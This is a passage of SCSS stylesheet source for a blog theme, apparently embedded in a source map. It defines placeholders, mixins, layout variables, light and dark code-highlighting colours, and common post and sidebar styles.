0.25s;\n }\n\n &:hover {\n .anchor {\n visibility: visible;\n opacity: 1;\n transition: opacity 0.25s ease-in, visibility 0s ease-in 0s;\n }\n }\n }\n}\n\n%tag-hover {\n background: var(--tag-hover);\n transition: background 0.35s ease-in-out;\n}\n\n%table-cell {\n padding: 0.4rem 1rem;\n font-size: 95%;\n white-space: nowrap;\n}\n\n%link-hover {\n color: #d2603a !important;\n border-bottom: 1px solid #d2603a;\n text-decoration: none;\n}\n\n%link-color {\n color: var(--link-color);\n}\n\n%link-underline {\n border-bottom: 1px solid var(--link-underline-color);\n}\n\n%clickable-transition {\n transition: all 0.3s ease-in-out;\n}\n\n%no-cursor {\n -webkit-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n user-select: none;\n}\n\n%no-bottom-border {\n border-bottom: none;\n}\n\n%cursor-pointer {\n cursor: pointer;\n}\n\n%normal-font-style {\n font-style: normal;\n}\n\n%rounded {\n border-radius: $base-radius;\n}\n\n%img-caption {\n + em {\n display: block;\n text-align: center;\n font-style: normal;\n font-size: 80%;\n padding: 0;\n color: #6d6c6c;\n }\n}\n\n%sidebar-links {\n color: rgba(117, 117, 117, 0.9);\n -webkit-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n user-select: none;\n}\n\n%text-clip {\n display: -webkit-box;\n overflow: hidden;\n text-overflow: ellipsis;\n -webkit-line-clamp: 2;\n -webkit-box-orient: vertical;\n}\n\n/* ---------- scss mixin --------- */\n\n@mixin mt-mb($value) {\n margin-top: $value;\n margin-bottom: $value;\n}\n\n@mixin ml-mr($value) {\n margin-left: $value;\n margin-right: $value;\n}\n\n@mixin pt-pb($val) {\n padding-top: $val;\n padding-bottom: $val;\n}\n\n@mixin pl-pr($val) {\n padding-left: $val;\n padding-right: $val;\n}\n\n@mixin input-placeholder {\n opacity: 0.6;\n}\n\n@mixin label($font-size: 1rem, $font-weight: 600, $color: var(--label-color)) {\n color: $color;\n font-size: $font-size;\n font-weight: $font-weight;\n}\n\n@mixin align-center {\n position: relative;\n left: 50%;\n transform: translateX(-50%);\n}\n\n@mixin prompt($type, $fa-content, $fa-style: 'solid') {\n &.prompt-#{$type} {\n background-color: var(--prompt-#{$type}-bg);\n\n &::before {\n content: $fa-content;\n color: var(--prompt-#{$type}-icon-color);\n font: var(--fa-font-#{$fa-style});\n }\n }\n}\n","/*\n * The SCSS variables\n */\n\n/* sidebar */\n\n$sidebar-width: 260px !default; /* the basic width */\n$sidebar-width-large: 300px !default; /* screen width: >= 1650px */\n\n/* other framework sizes */\n\n$topbar-height: 3rem !default;\n$search-max-width: 210px !default;\n$footer-height: 5rem !default;\n$footer-height-mobile: 6rem !default; /* screen width: < 850px */\n$main-content-max-width: 1250px !default;\n$bottom-min-height: 35rem !default;\n$base-radius: 0.5rem;\n\n/* syntax highlight */\n\n$code-font-size: 0.85rem !default;\n\n/* fonts */\n\n$font-family-base: 'Source Sans Pro', 'Microsoft Yahei', sans-serif;\n$font-family-heading: Lato, 'Microsoft Yahei', sans-serif;\n","/*\n* The syntax highlight.\n*/\n\n@import 'colors/light-syntax';\n@import 'colors/dark-syntax';\n\nhtml {\n @media (prefers-color-scheme: light) {\n &:not([data-mode]),\n &[data-mode='light'] {\n @include light-syntax;\n }\n\n &[data-mode='dark'] {\n @include dark-syntax;\n }\n }\n\n @media (prefers-color-scheme: dark) {\n &:not([data-mode]),\n &[data-mode='dark'] {\n @include dark-syntax;\n }\n\n &[data-mode='light'] {\n @include light-syntax;\n }\n }\n}\n\n/* -- code snippets -- */\n\n%code-snippet-bg {\n background-color: var(--highlight-bg-color);\n}\n\n%code-snippet-padding {\n padding-left: 1rem;\n padding-right: 1.5rem;\n}\n\n.highlighter-rouge {\n color: var(--highlighter-rouge-color);\n margin-top: 0.5rem;\n margin-bottom: 1.2em; /* Override BS Inline-code style */\n}\n\n.highlight {\n @extend %rounded;\n @extend %code-snippet-bg;\n\n @at-root figure#{&} {\n @extend %code-snippet-bg;\n }\n\n overflow: auto;\n padding-top: 0.5rem;\n padding-bottom: 1rem;\n\n pre {\n margin-bottom: 0;\n font-size: $code-font-size;\n line-height: 1.4rem;\n word-wrap: normal; /* Fixed Safari overflow-x */\n }\n\n table {\n td pre {\n overflow: visible; /* Fixed iOS safari overflow-x */\n word-break: normal; /* Fixed iOS safari linenos code break */\n }\n }\n\n .lineno {\n padding-right: 0.5rem;\n min-width: 2.2rem;\n text-align: right;\n color: var(--highlight-lineno-color);\n -webkit-user-select: none;\n -moz-user-select: none;\n -o-user-select: none;\n -ms-user-select: none;\n user-select: none;\n }\n} /* .highlight */\n\ncode {\n -webkit-hyphens: none;\n -ms-hyphens: none;\n hyphens: none;\n\n &.highlighter-rouge {\n font-size: $code-font-size;\n padding: 3px 5px;\n word-break: break-word;\n border-radius: 4px;\n background-color: var(--inline-code-bg);\n }\n\n &.filepath {\n background-color: inherit;\n color: var(--filepath-text-color);\n font-weight: 600;\n padding: 0;\n }\n\n a > &.highlighter-rouge {\n padding-bottom: 0; /* show link's underlinke */\n color: inherit;\n }\n\n a:hover > &.highlighter-rouge {\n border-bottom: none;\n }\n\n blockquote & {\n color: inherit;\n }\n}\n\ntd.rouge-code {\n @extend %code-snippet-padding;\n\n /*\n Prevent some browser extends from\n changing the URL string of code block.\n */\n a {\n color: inherit !important;\n border-bottom: none !important;\n pointer-events: none;\n }\n}\n\ndiv[class^='language-'] {\n @extend %rounded;\n @extend %code-snippet-bg;\n\n box-shadow: var(--language-border-color) 0 0 0 1px;\n\n .post-content > & {\n @include ml-mr(-1.25rem);\n\n border-radius: 0;\n }\n}\n\n/* Hide line numbers for default, console, and terminal code snippets */\ndiv {\n &.nolineno,\n &.language-plaintext,\n &.language-console,\n &.language-terminal {\n pre.lineno {\n display: none;\n }\n\n td.rouge-code {\n padding-left: 1.5rem;\n }\n }\n}\n\n.code-header {\n @extend %no-cursor;\n\n $code-header-height: 2.25rem;\n\n display: flex;\n justify-content: space-between;\n align-items: center;\n height: $code-header-height;\n margin-left: 1rem;\n margin-right: 0.5rem;\n\n /* the label block */\n span {\n /* label icon */\n i {\n font-size: 1rem;\n margin-right: 0.5rem;\n color: var(--code-header-icon-color);\n\n &.small {\n font-size: 70%;\n }\n }\n\n @at-root [file] #{&} > i {\n position: relative;\n top: 1px; /* center the file icon */\n }\n\n /* label text */\n &::after {\n content: attr(data-label-text);\n font-size: 0.85rem;\n font-weight: 600;\n color: var(--code-header-text-color);\n }\n }\n\n /* clipboard */\n button {\n @extend %cursor-pointer;\n @extend %rounded;\n\n border: 1px solid transparent;\n height: $code-header-height;\n width: $code-header-height;\n padding: 0;\n background-color: inherit;\n\n i {\n color: var(--code-header-icon-color);\n }\n\n &[timeout] {\n &:hover {\n border-color: var(--clipboard-checked-color);\n }\n\n i {\n color: var(--clipboard-checked-color);\n }\n }\n\n &:focus {\n outline: none;\n }\n\n &:not([timeout]):hover {\n background-color: rgba(128, 128, 128, 0.37);\n\n i {\n color: white;\n }\n }\n }\n}\n\n@media all and (min-width: 576px) {\n div[class^='language-'] {\n .post-content > & {\n @include ml-mr(0);\n\n border-radius: $base-radius;\n }\n\n .code-header {\n @include ml-mr(0);\n\n &::before {\n $dot-size: 0.75rem;\n $dot-margin: 0.5rem;\n\n content: '';\n display: inline-block;\n margin-left: 1rem;\n width: $dot-size;\n height: $dot-size;\n border-radius: 50%;\n background-color: var(--code-header-muted-color);\n box-shadow: ($dot-size + $dot-margin) 0 0 var(--code-header-muted-color),\n ($dot-size + $dot-margin) * 2 0 0 var(--code-header-muted-color);\n }\n }\n }\n}\n","/*\n * The syntax light mode code snippet colors.\n */\n\n@mixin light-syntax {\n /* see: */\n .highlight .hll { background-color: #ffffcc; }\n .highlight .c { color: #999988; font-style: italic; } /* Comment */\n .highlight .err { color: #a61717; background-color: #e3d2d2; } /* Error */\n .highlight .k { color: #000000; font-weight: bold; } /* Keyword */\n .highlight .o { color: #000000; font-weight: bold; } /* Operator */\n .highlight .cm { color: #999988; font-style: italic; } /* Comment.Multiline */\n .highlight .cp { color: #999999; font-weight: bold; font-style: italic; } /* Comment.Preproc */\n .highlight .c1 { color: #999988; font-style: italic; } /* Comment.Single */\n .highlight .cs { color: #999999; font-weight: bold; font-style: italic; } /* Comment.Special */\n .highlight .gd { color: #d01040; background-color: #ffdddd; } /* Generic.Deleted */\n .highlight .ge { color: #000000; font-style: italic; } /* Generic.Emph */\n .highlight .gr { color: #aa0000; } /* Generic.Error */\n .highlight .gh { color: #999999; } /* Generic.Heading */\n .highlight .gi { color: #008080; background-color: #ddffdd; } /* Generic.Inserted */\n .highlight .go { color: #888888; } /* Generic.Output */\n .highlight .gp { color: #555555; } /* Generic.Prompt */\n .highlight .gs { font-weight: bold; } /* Generic.Strong */\n .highlight .gu { color: #aaaaaa; } /* Generic.Subheading */\n .highlight .gt { color: #aa0000; } /* Generic.Traceback */\n .highlight .kc { color: #000000; font-weight: bold; } /* Keyword.Constant */\n .highlight .kd { color: #000000; font-weight: bold; } /* Keyword.Declaration */\n .highlight .kn { color: #000000; font-weight: bold; } /* Keyword.Namespace */\n .highlight .kp { color: #000000; font-weight: bold; } /* Keyword.Pseudo */\n .highlight .kr { color: #000000; font-weight: bold; } /* Keyword.Reserved */\n .highlight .kt { color: #445588; font-weight: bold; } /* Keyword.Type */\n .highlight .m { color: #009999; } /* Literal.Number */\n .highlight .s { color: #d01040; } /* Literal.String */\n .highlight .na { color: #008080; } /* Name.Attribute */\n .highlight .nb { color: #0086b3; } /* Name.Builtin */\n .highlight .nc { color: #445588; font-weight: bold; } /* Name.Class */\n .highlight .no { color: #008080; } /* Name.Constant */\n .highlight .nd { color: #3c5d5d; font-weight: bold; } /* Name.Decorator */\n .highlight .ni { color: #800080; } /* Name.Entity */\n .highlight .ne { color: #990000; font-weight: bold; } /* Name.Exception */\n .highlight .nf { color: #990000; font-weight: bold; } /* Name.Function */\n .highlight .nl { color: #990000; font-weight: bold; } /* Name.Label */\n .highlight .nn { color: #555555; } /* Name.Namespace */\n .highlight .nt { color: #000080; } /* Name.Tag */\n .highlight .nv { color: #008080; } /* Name.Variable */\n .highlight .ow { color: #000000; font-weight: bold; } /* Operator.Word */\n .highlight .w { color: #bbbbbb; } /* Text.Whitespace */\n .highlight .mf { color: #009999; } /* Literal.Number.Float */\n .highlight .mh { color: #009999; } /* Literal.Number.Hex */\n .highlight .mi { color: #009999; } /* Literal.Number.Integer */\n .highlight .mo { color: #009999; } /* Literal.Number.Oct */\n .highlight .sb { color: #d01040; } /* Literal.String.Backtick */\n .highlight .sc { color: #d01040; } /* Literal.String.Char */\n .highlight .sd { color: #d01040; } /* Literal.String.Doc */\n .highlight .s2 { color: #d01040; } /* Literal.String.Double */\n .highlight .se { color: #d01040; } /* Literal.String.Escape */\n .highlight .sh { color: #d01040; } /* Literal.String.Heredoc */\n .highlight .si { color: #d01040; } /* Literal.String.Interpol */\n .highlight .sx { color: #d01040; } /* Literal.String.Other */\n .highlight .sr { color: #009926; } /* Literal.String.Regex */\n .highlight .s1 { color: #d01040; } /* Literal.String.Single */\n .highlight .ss { color: #990073; } /* Literal.String.Symbol */\n .highlight .bp { color: #999999; } /* Name.Builtin.Pseudo */\n .highlight .vc { color: #008080; } /* Name.Variable.Class */\n .highlight .vg { color: #008080; } /* Name.Variable.Global */\n .highlight .vi { color: #008080; } /* Name.Variable.Instance */\n .highlight .il { color: #009999; } /* Literal.Number.Integer.Long */\n\n /* --- custom light colors --- */\n --language-border-color: rgba(172, 169, 169, 0.2);\n --highlight-bg-color: #f7f7f7;\n --highlighter-rouge-color: #3f596f;\n --highlight-lineno-color: #c2c6cc;\n --inline-code-bg: #f6f6f7;\n --code-header-text-color: #a3a3b1;\n --code-header-muted-color: #ebebeb;\n --code-header-icon-color: #d1d1d1;\n --clipboard-checked-color: #43c743;\n\n [class^='prompt-'] {\n --inline-code-bg: #fbfafa;\n }\n} /* light-syntax */\n","/*\n * The syntax dark mode styles.\n */\n\n@mixin dark-syntax {\n --language-border-color: rgba(84, 83, 83, 0.27);\n --highlight-bg-color: #252525;\n --highlighter-rouge-color: #de6b18;\n --highlight-lineno-color: #6c6c6d;\n --inline-code-bg: #272822;\n --code-header-text-color: #6a6a6a;\n --code-header-muted-color: rgb(60, 60, 60);\n --code-header-icon-color: rgb(86, 86, 86);\n --clipboard-checked-color: #2bcc2b;\n --filepath-text-color: #bdbdbd;\n\n /* override Bootstrap */\n pre {\n color: #bfbfbf;\n }\n\n .highlight .gp {\n color: #818c96;\n }\n\n /* syntax highlight colors from https://raw.githubusercontent.com/jwarby/pygments-css/master/monokai.css */\n\n .highlight pre { background-color: var(--highlight-bg-color); }\n .highlight .hll { background-color: var(--highlight-bg-color); }\n .highlight .c { color: #75715e; } /* Comment */\n .highlight .err { color: #960050; background-color: #1e0010; } /* Error */\n .highlight .k { color: #66d9ef; } /* Keyword */\n .highlight .l { color: #ae81ff; } /* Literal */\n .highlight .n { color: #f8f8f2; } /* Name */\n .highlight .o { color: #f92672; } /* Operator */\n .highlight .p { color: #f8f8f2; } /* Punctuation */\n .highlight .cm { color: #75715e; } /* Comment.Multiline */\n .highlight .cp { color: #75715e; } /* Comment.Preproc */\n .highlight .c1 { color: #75715e; } /* Comment.Single */\n .highlight .cs { color: #75715e; } /* Comment.Special */\n .highlight .ge { color: inherit; font-style: italic; } /* Generic.Emph */\n .highlight .gs { font-weight: bold; } /* Generic.Strong */\n .highlight .kc { color: #66d9ef; } /* Keyword.Constant */\n .highlight .kd { color: #66d9ef; } /* Keyword.Declaration */\n .highlight .kn { color: #f92672; } /* Keyword.Namespace */\n .highlight .kp { color: #66d9ef; } /* Keyword.Pseudo */\n .highlight .kr { color: #66d9ef; } /* Keyword.Reserved */\n .highlight .kt { color: #66d9ef; } /* Keyword.Type */\n .highlight .ld { color: #e6db74; } /* Literal.Date */\n .highlight .m { color: #ae81ff; } /* Literal.Number */\n .highlight .s { color: #e6db74; } /* Literal.String */\n .highlight .na { color: #a6e22e; } /* Name.Attribute */\n .highlight .nb { color: #f8f8f2; } /* Name.Builtin */\n .highlight .nc { color: #a6e22e; } /* Name.Class */\n .highlight .no { color: #66d9ef; } /* Name.Constant */\n .highlight .nd { color: #a6e22e; } /* Name.Decorator */\n .highlight .ni { color: #f8f8f2; } /* Name.Entity */\n .highlight .ne { color: #a6e22e; } /* Name.Exception */\n .highlight .nf { color: #a6e22e; } /* Name.Function */\n .highlight .nl { color: #f8f8f2; } /* Name.Label */\n .highlight .nn { color: #f8f8f2; } /* Name.Namespace */\n .highlight .nx { color: #a6e22e; } /* Name.Other */\n .highlight .py { color: #f8f8f2; } /* Name.Property */\n .highlight .nt { color: #f92672; } /* Name.Tag */\n .highlight .nv { color: #f8f8f2; } /* Name.Variable */\n .highlight .ow { color: #f92672; } /* Operator.Word */\n .highlight .w { color: #f8f8f2; } /* Text.Whitespace */\n .highlight .mf { color: #ae81ff; } /* Literal.Number.Float */\n .highlight .mh { color: #ae81ff; } /* Literal.Number.Hex */\n .highlight .mi { color: #ae81ff; } /* Literal.Number.Integer */\n .highlight .mo { color: #ae81ff; } /* Literal.Number.Oct */\n .highlight .sb { color: #e6db74; } /* Literal.String.Backtick */\n .highlight .sc { color: #e6db74; } /* Literal.String.Char */\n .highlight .sd { color: #e6db74; } /* Literal.String.Doc */\n .highlight .s2 { color: #e6db74; } /* Literal.String.Double */\n .highlight .se { color: #ae81ff; } /* Literal.String.Escape */\n .highlight .sh { color: #e6db74; } /* Literal.String.Heredoc */\n .highlight .si { color: #e6db74; } /* Literal.String.Interpol */\n .highlight .sx { color: #e6db74; } /* Literal.String.Other */\n .highlight .sr { color: #e6db74; } /* Literal.String.Regex */\n .highlight .s1 { color: #e6db74; } /* Literal.String.Single */\n .highlight .ss { color: #e6db74; } /* Literal.String.Symbol */\n .highlight .bp { color: #f8f8f2; } /* Name.Builtin.Pseudo */\n .highlight .vc { color: #f8f8f2; } /* Name.Variable.Class */\n .highlight .vg { color: #f8f8f2; } /* Name.Variable.Global */\n .highlight .vi { color: #f8f8f2; } /* Name.Variable.Instance */\n .highlight .il { color: #ae81ff; } /* Literal.Number.Integer.Long */\n .highlight .gu { color: #75715e; } /* Generic.Subheading & Diff Unified/Comment? */\n .highlight .gd { color: #f92672; background-color: #561c08; } /* Generic.Deleted & Diff Deleted */\n .highlight .gi { color: #a6e22e; background-color: #0b5858; } /* Generic.Inserted & Diff Inserted */\n}\n","/*\n The common styles\n*/\n\nhtml {\n @media (prefers-color-scheme: light) {\n &:not([data-mode]),\n &[data-mode='light'] {\n @include light-scheme;\n }\n\n &[data-mode='dark'] {\n @include dark-scheme;\n }\n }\n\n @media (prefers-color-scheme: dark) {\n &:not([data-mode]),\n &[data-mode='dark'] {\n @include dark-scheme;\n }\n\n &[data-mode='light'] {\n @include light-scheme;\n }\n }\n\n font-size: 16px;\n}\n\nbody {\n background: var(--main-bg);\n padding: env(safe-area-inset-top) env(safe-area-inset-right)\n env(safe-area-inset-bottom) env(safe-area-inset-left);\n color: var(--text-color);\n -webkit-font-smoothing: antialiased;\n font-family: $font-family-base;\n}\n\n/* --- Typography --- */\n\n@for $i from 1 through 5 {\n h#{$i} {\n @extend %heading;\n\n @if $i > 1 {\n @extend %section;\n @extend %anchor;\n }\n\n @if $i < 5 {\n $factor: 0.18rem;\n\n @if $i == 1 {\n $factor: 0.23rem;\n }\n\n font-size: 1rem + (5 - $i) * $factor;\n } @else {\n font-size: 1rem;\n }\n }\n}\n\na {\n @extend %link-color;\n\n text-decoration: none;\n}\n\nimg {\n max-width: 100%;\n height: auto;\n transition: all 0.35s ease-in-out;\n\n &[data-src] {\n &[data-lqip='true'] {\n &.lazyload,\n &.lazyloading {\n -webkit-filter: blur(20px);\n filter: blur(20px);\n }\n }\n\n &:not([data-lqip='true']) {\n &.lazyload,\n &.lazyloading {\n background: var(--img-bg);\n }\n\n &.lazyloaded {\n -webkit-animation: fade-in 0.35s ease-in;\n animation: fade-in 0.35s ease-in;\n }\n }\n\n &.shadow {\n -webkit-filter: drop-shadow(2px 4px 6px rgba(0, 0, 0, 0.08));\n filter: drop-shadow(2px 4px 6px rgba(0, 0, 0, 0.08));\n box-shadow: none !important; /* cover the Bootstrap 4.6.1 styles */\n }\n\n @extend %img-caption;\n }\n\n @-webkit-keyframes fade-in {\n from {\n opacity: 0;\n }\n to {\n opacity: 1;\n }\n }\n\n @keyframes fade-in {\n from {\n opacity: 0;\n }\n to {\n opacity: 1;\n }\n }\n}\n\nblockquote {\n border-left: 5px solid var(--blockquote-border-color);\n padding-left: 1rem;\n color: var(--blockquote-text-color);\n\n &[class^='prompt-'] {\n border-left: 0;\n position: relative;\n padding: 1rem 1rem 1rem 3rem;\n color: var(--prompt-text-color);\n\n @extend %rounded;\n\n &::before {\n text-align: center;\n width: 3rem;\n position: absolute;\n left: 0.25rem;\n margin-top: 0.4rem;\n text-rendering: auto;\n -webkit-font-smoothing: antialiased;\n }\n\n > p:last-child {\n margin-bottom: 0;\n }\n }\n\n @include prompt('tip', '\\f0eb', 'regular');\n @include prompt('info', '\\f06a');\n @include prompt('warning', '\\f06a');\n @include prompt('danger', '\\f071');\n}\n\nkbd {\n font-family: inherit;\n display: inline-block;\n vertical-align: middle;\n line-height: 1.3rem;\n min-width: 1.75rem;\n text-align: center;\n margin: 0 0.3rem;\n padding-top: 0.1rem;\n color: var(--kbd-text-color);\n background-color: var(--kbd-bg-color);\n border-radius: 0.25rem;\n border: solid 1px var(--kbd-wrap-color);\n box-shadow: inset 0 -2px 0 var(--kbd-wrap-color);\n}\n\nfooter {\n font-size: 0.8rem;\n background-color: var(--main-bg);\n\n div.d-flex {\n height: $footer-height;\n line-height: 1.2rem;\n padding-bottom: 1rem;\n border-top: 1px solid var(--main-border-color);\n flex-wrap: wrap;\n }\n\n a {\n @extend %text-color;\n\n &:hover {\n @extend %link-hover;\n }\n }\n\n p {\n width: 100%;\n text-align: center;\n margin-bottom: 0;\n }\n}\n\n/* fontawesome icons */\ni {\n &.far,\n &.fas {\n @extend %no-cursor;\n }\n}\n\n/* --- Panels --- */\n\n.access {\n top: 2rem;\n transition: top 0.2s ease-in-out;\n margin-top: 3rem;\n margin-bottom: 4rem;\n\n &:only-child {\n position: -webkit-sticky;\n position: sticky;\n }\n\n > div {\n padding-left: 1rem;\n border-left: 1px solid var(--main-border-color);\n\n &:not(:last-child) {\n margin-bottom: 4rem;\n }\n }\n\n .post-content {\n font-size: 0.9rem;\n }\n}\n\n#panel-wrapper {\n /* the headings */\n .panel-heading {\n @include label(inherit);\n }\n\n .post-tag {\n line-height: 1.05rem;\n font-size: 0.85rem;\n border: 1px solid var(--btn-border-color);\n border-radius: 0.8rem;\n padding: 0.3rem 0.5rem;\n margin: 0 0.35rem 0.5rem 0;\n\n &:hover {\n transition: all 0.3s ease-in;\n }\n }\n}\n\n#access-lastmod {\n a {\n &:hover {\n @extend %link-hover;\n }\n\n @extend %no-bottom-border;\n\n color: inherit;\n }\n}\n\n.footnotes > ol {\n padding-left: 2rem;\n margin-top: 0.5rem;\n\n > li {\n &:not(:last-child) {\n margin-bottom: 0.3rem;\n }\n\n > p {\n margin-left: 0.25em;\n margin-top: 0;\n margin-bottom: 0;\n }\n }\n}\n\n.footnote {\n @at-root a#{&} {\n @include ml-mr(1px);\n @include pl-pr(2px);\n\n border-bottom-style: none !important;\n transition: background-color 1.5s ease-in-out;\n }\n}\n\n.reversefootnote {\n @at-root a#{&} {\n font-size: 0.6rem;\n line-height: 1;\n position: relative;\n bottom: 0.25em;\n margin-left: 0.25em;\n border-bottom-style: none !important;\n }\n}\n\n/* --- Begin of Markdown table style --- */\n\n/* it will be created by Liquid */\n.table-wrapper {\n overflow-x: auto;\n margin-bottom: 1.5rem;\n\n > table {\n min-width: 100%;\n overflow-x: auto;\n border-spacing: 0;\n\n thead {\n border-bottom: solid 2px rgba(210, 215, 217, 0.75);\n\n th {\n @extend %table-cell;\n }\n }\n\n tbody {\n tr {\n border-bottom: 1px solid var(--tb-border-color);\n\n &:nth-child(2n) {\n background-color: var(--tb-even-bg);\n }\n\n &:nth-child(2n + 1) {\n background-color: var(--tb-odd-bg);\n }\n\n td {\n @extend %table-cell;\n }\n }\n } /* tbody */\n } /* table */\n}\n\n/* --- post --- */\n\n.post-preview {\n @extend %rounded;\n\n border: 0;\n background: var(--card-bg);\n box-shadow: var(--card-shadow);\n\n &::before {\n @extend %rounded;\n\n content: '';\n width: 100%;\n height: 100%;\n position: absolute;\n background-color: var(--card-hovor-bg);\n opacity: 0;\n transition: opacity 0.35s ease-in-out;\n }\n\n &:hover {\n &::before {\n opacity: 0.3;\n }\n }\n}\n\n.post {\n h1 {\n margin-top: 2rem;\n margin-bottom: 1.5rem;\n }\n\n p {\n > img[data-src],\n > a.popup {\n &:not(.normal):not(.left):not(.right) {\n @include align-center;\n }\n }\n }\n}\n\n.post-meta {\n font-size: 0.85rem;\n\n a {\n &:not([class]):hover {\n @extend %link-hover;\n }\n }\n\n em {\n @extend %normal-font-style;\n }\n}\n\n.post-content {\n font-size: 1.08rem;\n margin-top: 2rem;\n overflow-wrap: break-word;\n\n a {\n &.popup {\n @extend %no-cursor;\n @extend %img-caption;\n @include mt-mb(0.5rem);\n\n cursor: zoom-in;\n }\n\n &:not(.img-link) {\n @extend %link-underline;\n\n &:hover {\n @extend %link-hover;\n }\n }\n }\n\n ol,\n ul {\n &:not([class]),\n &.task-list {\n -webkit-padding-start: 1.75rem;\n padding-inline-start: 1.75rem;\n\n li {\n margin: 0.25rem 0;\n padding-left: 0.25rem;\n }\n\n ol,\n ul {\n -webkit-padding-start: 1.25rem;\n padding-inline-start: 1.25rem;\n margin: 0.5rem 0;\n }\n }\n }\n\n ul.task-list {\n -webkit-padding-start: 1.25rem;\n padding-inline-start: 1.25rem;\n\n li {\n list-style-type: none;\n padding-left: 0;\n\n /* checkbox icon */\n > i {\n width: 2rem;\n margin-left: -1.25rem;\n color: var(--checkbox-color);\n\n &.checked {\n color: var(--checkbox-checked-color);\n }\n }\n\n ul {\n -webkit-padding-start: 1.75rem;\n padding-inline-start: 1.75rem;\n }\n }\n\n input[type='checkbox'] {\n margin: 0 0.5rem 0.2rem -1.3rem;\n vertical-align: middle;\n }\n } /* ul */\n\n dl > dd {\n margin-left: 1rem;\n }\n\n ::marker {\n color: var(--text-muted-color);\n }\n} /* .post-content */\n\n.tag:hover {\n @extend %tag-hover;\n}\n\n.post-tag {\n display: inline-block;\n min-width: 2rem;\n text-align: center;\n border-radius: 0.3rem;\n padding: 0 0.4rem;\n color: inherit;\n line-height: 1.3rem;\n\n &:not(:last-child) {\n margin-right: 0.2rem;\n }\n}\n\n.rounded-10 {\n border-radius: 10px !important;\n}\n\n.img-link {\n color: transparent;\n display: inline-flex;\n}\n\n.shimmer {\n overflow: hidden;\n position: relative;\n background: var(--img-bg);\n\n &::before {\n content: '';\n position: absolute;\n background: var(--shimmer-bg);\n height: 100%;\n width: 100%;\n -webkit-animation: shimmer 1s infinite;\n animation: shimmer 1s infinite;\n }\n\n @-webkit-keyframes shimmer {\n 0% {\n transform: translateX(-100%);\n }\n 100% {\n transform: translateX(100%);\n }\n }\n\n @keyframes shimmer {\n 0% {\n transform: translateX(-100%);\n }\n 100% {\n transform: translateX(100%);\n }\n }\n}\n\n.embed-video {\n width: 100%;\n height: 100%;\n margin-bottom: 1rem;\n\n @extend %rounded;\n\n &.youtube {\n aspect-ratio: 16 / 9;\n }\n\n &.twitch {\n aspect-ratio: 310 / 189;\n }\n}\n\n/* --- buttons --- */\n.btn-lang {\n border: 1px solid !important;\n padding: 1px 3px;\n border-radius: 3px;\n color: var(--link-color);\n\n &:focus {\n box-shadow: none;\n }\n}\n\n/* --- Effects classes --- */\n\n.loaded {\n display: block !important;\n\n @at-root .d-flex#{&} {\n display: flex !important;\n }\n}\n\n.unloaded {\n display: none !important;\n}\n\n.visible {\n visibility: visible !important;\n}\n\n.hidden {\n visibility: hidden !important;\n}\n\n.flex-grow-1 {\n flex-grow: 1 !important;\n}\n\n.btn-box-shadow {\n box-shadow: 0 0 8px 0 var(--btn-box-shadow) !important;\n}\n\n/* overwrite bootstrap muted */\n.text-muted {\n color: var(--text-muted-color) !important;\n}\n\n/* Overwrite bootstrap tooltip */\n.tooltip-inner {\n font-size: 0.7rem;\n max-width: 220px;\n text-align: left;\n}\n\n/* Overwrite bootstrap outline button */\n.btn.btn-outline-primary {\n &:not(.disabled):hover {\n border-color: #007bff !important;\n }\n}\n\n.disabled {\n color: rgb(206, 196, 196);\n pointer-events: auto;\n cursor: not-allowed;\n}\n\n.hide-border-bottom {\n border-bottom: none !important;\n}\n\n.input-focus {\n box-shadow: none;\n border-color: var(--input-focus-border-color) !important;\n background: center !important;\n transition: background-color 0.15s ease-in-out, border-color 0.15s ease-in-out;\n}\n\n.left {\n float: left;\n margin: 0.75rem 1rem 1rem 0 !important;\n}\n\n.right {\n float: right;\n margin: 0.75rem 0 1rem 1rem !important;\n}\n\n/* --- Overriding --- */\n\n/* magnific-popup */\n\nfigure .mfp-title {\n text-align: center;\n padding-right: 0;\n margin-top: 0.5rem;\n}\n\n.mfp-img {\n transition: none;\n}\n\n/* mermaid */\n.mermaid {\n text-align: center;\n}\n\n/* MathJax */\nmjx-container {\n overflow-y: hidden;\n min-width: auto !important;\n}\n\n/* --- sidebar layout --- */\n\n$sidebar-display: 'sidebar-display';\n$btn-gap: 0.8rem; // for the bottom icons\n$btn-border-width: 3px;\n$btn-mb: 0.5rem;\n\n#sidebar {\n @include pl-pr(0);\n\n position: fixed;\n top: 0;\n left: 0;\n height: 100%;\n overflow-y: auto;\n width: $sidebar-width;\n z-index: 99;\n background: var(--sidebar-bg);\n\n /* Hide scrollbar for Chrome, Safari and Opera */\n &::-webkit-scrollbar {\n display: none;\n }\n\n /* Hide scrollbar for IE, Edge and Firefox */\n -ms-overflow-style: none; /* IE and Edge */\n scrollbar-width: none; /* Firefox */\n\n %sidebar-link-hover {\n &:hover {\n color: var(--sidebar-active-color);\n }\n }\n\n a {\n @extend %sidebar-links;\n }\n\n #avatar {\n display: block;\n width: 7rem;\n height: 7rem;\n overflow: hidden;\n box-shadow: var(--avatar-border-color) 0 0 0 2px;\n transform: translateZ(0); /* fixed the zoom in Safari */\n\n img {\n transition: transform 0.5s;\n\n &:hover {\n transform: scale(1.2);\n }\n }\n }\n\n .profile-wrapper {\n @include mt-mb(2.5rem);\n @extend %clickable-transition;\n\n padding-left: 2.5rem;\n padding-right: 1.25rem;\n width: 100%;\n }\n\n .site-title {\n font-weight: 900;\n font-size: 1.75rem;\n line-height: 1.2;\n letter-spacing: 0.25px;\n color: rgba(134, 133, 133, 0.99);\n margin-top: 1.25rem;\n margin-bottom: 0.5rem;\n\n a {\n @extend %clickable-transition;\n @extend %sidebar-link-hover;\n }\n }\n\n .site-subtitle {\n font-size: 95%;\n color: var(--sidebar-muted-color);\n margin-top: 0.25rem;\n word-spacing: 1px;\n -webkit-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n user-select: none;\n }\n\n ul {\n margin-bottom: 2rem;\n\n li.nav-item {\n opacity: 0.9;\n width: 100%;\n padding-left: 1.5rem;\n padding-right: 1.5rem;\n\n a.nav-link {\n @include pt-pb(0.6rem);\n\n display: flex;\n align-items: center;\n border-radius: 0.75rem;\n font-weight: 600;\n\n &:hover {\n background-color: var(--sidebar-hover-bg);\n }\n\n i {\n font-size: 95%;\n opacity: 0.8;\n margin-right: 1.5rem;\n }\n\n span {\n font-size: 90%;\n letter-spacing: 0.2px;\n }\n }\n\n &.active {\n .nav-link {\n color: var(--sidebar-active-color);\n background-color: var(--sidebar-hover-bg);\n\n span {\n 